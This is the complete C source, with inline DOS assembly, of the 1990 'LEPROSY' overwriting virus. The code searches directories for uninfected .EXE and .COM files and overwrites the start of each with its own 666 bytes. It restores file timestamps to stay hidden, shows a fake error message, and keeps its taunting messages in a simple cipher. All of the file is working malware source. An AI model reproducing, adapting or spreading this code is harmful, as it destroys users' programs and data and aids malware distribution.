/*  This file is part of the source code to the LEPROSY Virus 1.00
    Copy-ya-right (c) 1990 by PCM2.  This program can cause destruction
    of files; you're warned, the author assumes no responsibility
    for damage this program causes, incidental or otherwise.  This
    program is not intended for general distribution -- irresponsible
    users should not be allowed access to this program, or its
    accompanying files.  (Unlike people like us, of course...)
*/


#pragma inline

#define   CRLF       "\x17\x14"          /*  CR/LF combo encrypted.  */
#define   NO_MATCH   0x12                /*  No match in wildcard search.  */


/*  The following strings are not garbled; they are all encrypted  */
/*  using the simple technique of adding the integer value 10 to   */
/*  each character.  They are automatically decrypted by           */
/*  'print_s()', the function which sends the strings to 'stdout'  */
/*  using DOS service 09H.  All are terminated with a dollar-sign  */
/*  "$" as per DOS service specifications.                         */

char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
char *virus_msg[3] =
  {
    CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
    CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
    CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
  };



struct _dta                     /*  Disk Transfer Area format for find.  */
  {
    char findnext[21];
    char attribute;
    int timestamp;
    int datestamp;
    long filesize;
    char filename[13];
  } *dta = (struct _dta *) 0x80;   /*  Set it to default DTA.  */


const char filler[] = "XX";             /*  Pad file length to 666 bytes.  */
const char *codestart = (char *) 0x100;  /*  Memory where virus code begins.  */
const int virus_size = 666;      /*  The size in bytes of the virus code.  */
const int infection_rate = 4;     /*  How many files to infect per run.  */

char compare_buf[20];           /*  Load program here to test infection.  */
int handle;                     /*  The current file handle being used.  */
int datestamp, timestamp;       /*  Store original date and time here.  */
char diseased_count = 0;        /*  How many infected files found so far.  */
char success = 0;               /*  How many infected this run.  */


/*  The following are function prototypes, in keeping with ANSI    */
/*  Standard C, for the support functions of this program.         */

int find_first( char *fn );
int find_healthy( void );
int find_next( void );
int healthy( void );
void infect( void );
void close_handle( void );
void open_handle( char *fn );
void print_s( char *s );
void restore_timestamp( void );



/*----------------------------------*/
/*     M A I N    P R O G R A M     */
/*----------------------------------*/

int main( void )  {
  int x = 0;
  do {
    if ( find_healthy() )  {           /*  Is there an un-infected file?  */
      infect();                        /*  Well, then infect it!  */
      x++;                             /*  Add one to the counter.  */
      success++;                       /*  Carve a notch in our belt.  */
    }
    else  {                            /*  If there ain't a file here... */
      _DX = (int) "..";                /*  See if we can step back to  */
      _AH = 0x3b;                      /*  the parent directory, and try  */
      asm   int 21H;                   /*  there.  */
      x++;                             /*  Increment the counter anyway, to  */
    }                                  /*  avoid infinite loops.  */
  } while( x < infection_rate );       /*  Do this until we've had enough.  */
  if ( success )                       /*  If we got something this time,  */
    print_s( fake_msg );               /*  feed 'em the phony error line.  */
  else
    if ( diseased_count > 6 )          /*  If we found 6+ infected files  */
      for( x = 0; x < 3; x++ )         /*  along the way, laugh!!  */
        print_s( virus_msg[x] );
    else
      print_s( fake_msg );             /*  Otherwise, keep a low profile.  */
  return;
}


void infect( void )  {
  _DX = (int) dta->filename;  /*  DX register points to filename.  */
  _CX = 0x00;                 /*  No attribute flags are set.  */
  _AL = 0x01;                 /*  Use Set Attribute sub-function.  */
  _AH = 0x43;                 /*  Assure access to write file.  */
  asm   int 21H;              /*  Call DOS interrupt.  */
  open_handle( dta->filename );        /*  Re-open the healthy file.  */
  _BX = handle;                       /*  BX register holds handle.  */
  _CX = virus_size;                   /*  Number of bytes to write.  */
  _DX = (int) codestart;              /*  Write program code.  */
  _AH = 0x40;                         /*  Set up and call DOS.  */
  asm   int 21H;
  restore_timestamp();               /*  Keep original date & time.  */
  close_handle();                     /*  Close file.  */
  return;
}


int find_healthy( void )  {
  if ( find_first("*.EXE") != NO_MATCH )       /*  Find EXE?  */
    if ( healthy() )                         /*  If it's healthy, OK!  */
      return 1;
    else
      while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */
        if ( healthy() )
          return 1;                          /*  If you find one, great!  */
  if ( find_first("*.COM") != NO_MATCH )       /*  Find COM?  */
    if ( healthy() )                         /*  If it's healthy, OK!  */
      return 1;
    else
      while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */
        if ( healthy() )
          return 1;                          /*  If you find one, great!  */
  return 0;                                  /*  Otherwise, say so.  */
}



int healthy( void )  {
  int i;
  datestamp = dta->datestamp;        /*  Save time & date for later.  */
  timestamp = dta->timestamp;
  open_handle( dta->filename );      /*  Open last file located.  */
  _BX = handle;                      /*  BX holds current file handle.  */
  _CX = 20;                          /*  We only want a few bytes.  */
  _DX = (int) compare_buf;          /*  DX points to the scratch buffer.  */
  _AH = 0x3f;                       /*  Read in file for comparison.  */
  asm   int 21H;
  restore_timestamp();              /*  Keep original date & time.  */
  close_handle();                   /*  Close the file.  */
  for ( i = 0; i < 20; i++ )        /*  Compare to virus code.  */
    if ( compare_buf[i] != *(codestart+i) )
      return 1;                     /*  If no match, return healthy.  */
  diseased_count++;                 /*  Chalk up one more fucked file.  */
  return 0;                         /*  Otherwise, return infected.  */
}


void restore_timestamp( void )  {
  _AL = 0x01;                         /*  Keep original date & time.  */
  _BX = handle;                       /*  Same file handle.  */
  _CX = timestamp;                    /*  Get time & date from DTA.  */
  _DX = datestamp;
  _AH = 0x57;                         /*  Do DOS service.  */
  asm   int 21H;
  return;
}


void print_s( char *s )  {
  char *p = s;
  while ( *p )  {              /*  Subtract 10 from every character.  */
    *p -= 10;
    p++;
  }
  _DX = (int) s;              /*  Set DX to point to adjusted string.   */
  _AH = 0x09;                 /*  Set DOS function number.  */
  asm   int 21H;              /*  Call DOS interrupt.  */
  return;
}


int find_first( char *fn )  {
  _DX = (int) fn;             /*  Point DX to the file name.  */
  _CX = 0xff;                 /*  Search for all attributes.  */
  _AH = 0x4e;                 /*  'Find first' DOS service.  */
  asm   int 21H;              /*  Go, DOS, go.  */
  return _AX;                 /*  Return possible error code.  */
}


int find_next( void )  {
  _AH = 0x4f;                 /*  'Find next' function.  */
  asm   int 21H;              /*  Call DOS.  */
  return _AX;                 /*  Return any error code.  */
}


void open_handle( char *fn )  {
  _DX = (int) fn;             /*  Point DX to the filename.  */
  _AL = 0x02;                 /*  Always open for both read & write. */
  _AH = 0x3d;                 /*  "Open handle" service.  */
  asm   int 21H;              /*  Call DOS.  */
  handle = _AX;               /*  Assume handle returned OK.  */
  return;
}


void close_handle( void )  {
  _BX = handle;               /*  Load BX register w/current file handle.  */
  _AH = 0x3e;                 /*  Set up and call DOS service.  */
  asm   int 21H;
  return;
}